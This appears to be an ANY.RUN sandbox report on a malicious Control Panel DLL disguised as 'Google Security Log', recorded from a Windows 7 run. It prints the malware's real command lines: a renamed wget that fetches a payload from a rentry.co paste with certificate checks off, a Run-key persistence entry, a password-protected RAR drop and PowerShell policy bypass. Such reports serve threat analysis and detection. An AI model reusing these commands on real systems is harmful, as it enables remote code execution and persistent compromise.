File name:

log.cpl

Full analysis: https://app.any.run/tasks/619c0916-cb64-4d11-81ad-384b77092fde
Verdict: Malicious activity
Analysis date: April 03, 2024, 08:42:18
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
MD5:

B7134C70C3E7F587B92A1DD92EBBD9BB

SHA1:

7398A15C8236165D799476CE402C5D5C821ABB61

SHA256:

2760317F134543AE9C40ADAEA025A9E39D53DE19AF2F4C06462B056996BD3AE4

SSDEEP:

98304:4cc3e6hDu1+SvvoJL5XDl2CPR/n7cYmetAEJVw+7ip1mSa9AEUu7hic+vBg2S72J:KYgepk4

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • rar.exe (PID: 2120)
      • rundll32.exe (PID: 3500)
      • powershell.exe (PID: 3164)
      • csc.exe (PID: 748)

    • Changes the autorun value in the registry

      • reg.exe (PID: 1972)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 3180)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 3164)

    • Starts Visual C# compiler

      • powershell.exe (PID: 3164)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2892)
      • powershell.exe (PID: 3164)

    • The process executes VB scripts

      • rundll32.exe (PID: 3500)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2892)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 2892)

    • Uses REG/REGEDIT.EXE to modify registry

      • cmd.exe (PID: 3180)

    • Reads the Internet Settings

      • wscript.exe (PID: 2892)

    • The process executes Powershell scripts

      • cmd.exe (PID: 3180)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 3180)

    • Uses .NET C# to load dll

      • powershell.exe (PID: 3164)

    • The executable file from the user directory is run by the CMD process

      • DLL6220.tmp (PID: 2000)
      • DLLE933.tmp (PID: 3976)
      • DLL6F1D.tmp (PID: 1484)
      • DLLF4F8.tmp (PID: 2640)

    • Reads settings of System Certificates

      • DLL6220.tmp (PID: 2000)
      • DLL6F1D.tmp (PID: 1484)
      • DLLE933.tmp (PID: 3976)
      • DLLF4F8.tmp (PID: 2640)

    • Starts application with an unusual extension

      • cmd.exe (PID: 712)
      • cmd.exe (PID: 3068)
      • cmd.exe (PID: 2992)
      • cmd.exe (PID: 2376)

  • INFO

    • Checks supported languages

      • rar.exe (PID: 2120)
      • csc.exe (PID: 748)
      • DLL6220.tmp (PID: 2000)
      • DLLE933.tmp (PID: 3976)
      • cvtres.exe (PID: 2148)
      • DLLF4F8.tmp (PID: 2640)
      • DLL6F1D.tmp (PID: 1484)

    • Reads the computer name

      • rar.exe (PID: 2120)
      • DLL6220.tmp (PID: 2000)
      • DLL6F1D.tmp (PID: 1484)
      • DLLF4F8.tmp (PID: 2640)
      • DLLE933.tmp (PID: 3976)

    • Manual execution by a user

      • explorer.exe (PID: 4000)

    • Reads the machine GUID from the registry

      • rar.exe (PID: 2120)
      • DLL6220.tmp (PID: 2000)
      • csc.exe (PID: 748)
      • cvtres.exe (PID: 2148)
      • DLL6F1D.tmp (PID: 1484)
      • DLLE933.tmp (PID: 3976)
      • DLLF4F8.tmp (PID: 2640)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 3164)

    • Create files in a temporary directory

      • csc.exe (PID: 748)
      • cvtres.exe (PID: 2148)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:02:23 17:45:34+00:00
ImageFileCharacteristics: Executable, 32-bit, DLL
PEType: PE32
LinkerVersion: 14.38
CodeSize: 75776
InitializedDataSize: 2775040
UninitializedDataSize: -
EntryPoint: 0x17d1
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 1.0.0.0
ProductVersionNumber: 1.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
FileDescription: Google Security Log
FileVersion: 23.6.0.0
ProductName: Google Security Log
ProductVersion: 23.6.0.0
Copyright: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
57
Monitored processes
17
Malicious processes
4
Suspicious processes
10

Behavior graph

Click at the process to see the details
start rundll32.exe no specs rar.exe no specs explorer.exe no specs wscript.exe no specs cmd.exe no specs reg.exe powershell.exe no specs csc.exe no specs cvtres.exe no specs cmd.exe no specs dll6220.tmp cmd.exe no specs dlle933.tmp cmd.exe no specs dll6f1d.tmp cmd.exe no specs dllf4f8.tmp

Process information

PID
CMD
Path
Indicators
Parent process
712C:\Windows\system32\cmd.exe /c C:\Users\admin\AppData\Local\Temp\DLLE933.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/rawC:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
4
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
748"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\gzkmvi0b.cmdline"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Visual C# Command Line Compiler
Exit code:
0
Version:
4.8.3761.0 built by: NET48REL1
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\csc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\vcruntime140_clr0400.dll
c:\windows\system32\ucrtbase_clr0400.dll
1484C:\Users\admin\AppData\Local\Temp\DLL6F1D.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/rawC:\Users\admin\AppData\Local\Temp\DLL6F1D.tmp
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
4
Modules
Images
c:\users\admin\appdata\local\temp\dll6f1d.tmp
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
1972reg add hkcu\software\microsoft\windows\currentversion\run /v ClientDarkLoadDll /t reg_sz /d "C:\Dark\AutoRun-Client.vbs" /f C:\Windows\System32\reg.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Console Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\reg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2000C:\Users\admin\AppData\Local\Temp\DLL6220.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/rawC:\Users\admin\AppData\Local\Temp\DLL6220.tmp
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
4
Modules
Images
c:\users\admin\appdata\local\temp\dll6220.tmp
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
2120C:\Dark\rar.exe e /y C:\Dark\data.rar C:\Dark -pDarkEvil@2024#~C:\Dark\rar.exe—rundll32.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
Command line RAR
Exit code:
0
Version:
5.91.0
Modules
Images
c:\dark\rar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2148C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RES6184.tmp" "c:\Users\admin\AppData\Local\Temp\CSC4529952E68E04BFE828CE3C1728C31F4.TMP"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe—csc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft® Resource File To COFF Object Conversion Utility
Exit code:
0
Version:
14.10.25028.0 built by: VCTOOLSD15RTM
Modules
Images
c:\windows\microsoft.net\framework\v4.0.30319\cvtres.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\vcruntime140_clr0400.dll
c:\windows\system32\ucrtbase_clr0400.dll
2376C:\Windows\system32\cmd.exe /c C:\Users\admin\AppData\Local\Temp\DLLF4F8.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/rawC:\Windows\System32\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
4
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2640C:\Users\admin\AppData\Local\Temp\DLLF4F8.tmp -O- -q 1 --no-check-certificate https://rentry.co/zsbkz/rawC:\Users\admin\AppData\Local\Temp\DLLF4F8.tmp
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
4
Modules
Images
c:\users\admin\appdata\local\temp\dllf4f8.tmp
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
2892wscript.exe C:\Dark\AutoRun-Client.vbsC:\Windows\System32\wscript.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
10 769
Read events
10 760
Write events
9
Delete events
0

Modification events

(PID) Process:(2892) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(2892) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(2892) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(2892) wscript.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1972) reg.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:ClientDarkLoadDll
Value:
C:\Dark\AutoRun-Client.vbs
Executable files
8
Suspicious files
2
Text files
6
Unknown types
3

Dropped files

PID
Process
Filename
Type
3500rundll32.exeC:\Dark\data.rar —
MD5:—
SHA256:—
3500rundll32.exeC:\Dark\rar.exeexecutable
MD5:—
SHA256:—
2120rar.exeC:\Dark\AutoRun-Client.vbstext
MD5:—
SHA256:—
2120rar.exeC:\Dark\Client_Wget_x32.dllexecutable
MD5:—
SHA256:—
2120rar.exeC:\Dark\Client_Wget_x64.dllexecutable
MD5:—
SHA256:—
2120rar.exeC:\Dark\Client-Starter.battext
MD5:—
SHA256:—
2120rar.exeC:\Dark\Load_Client.ps1text
MD5:—
SHA256:—
3164powershell.exeC:\Users\admin\AppData\Local\Temp\pkz0htsj.53p.ps1binary
MD5:—
SHA256:—
3164powershell.exeC:\Users\admin\AppData\Local\Temp\ingrixxq.km3.psm1binary
MD5:—
SHA256:—
3164powershell.exeC:\Users\admin\AppData\Local\Temp\gzkmvi0b.0.cstext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
11
DNS requests
1
Threats
5

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
2000
DLL6220.tmp
188.114.96.3:443
rentry.co
CLOUDFLARENET
NL
unknown
3976
DLLE933.tmp
188.114.96.3:443
rentry.co
CLOUDFLARENET
NL
unknown
1484
DLL6F1D.tmp
188.114.96.3:443
rentry.co
CLOUDFLARENET
NL
unknown
2640
DLLF4F8.tmp
188.114.96.3:443
rentry.co
CLOUDFLARENET
NL
unknown

DNS requests

Domain
IP
Reputation
rentry.co
  • 188.114.96.3
  • 188.114.97.3
unknown

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Pastebin Service Domain in DNS Lookup (rentry .co)
2000
DLL6220.tmp
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
3976
DLLE933.tmp
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
1484
DLL6F1D.tmp
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
2640
DLLF4F8.tmp
Misc activity
ET INFO Observed Pastebin Service Domain (rentry .co in TLS SNI)
No debug info
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Reports
log.cpl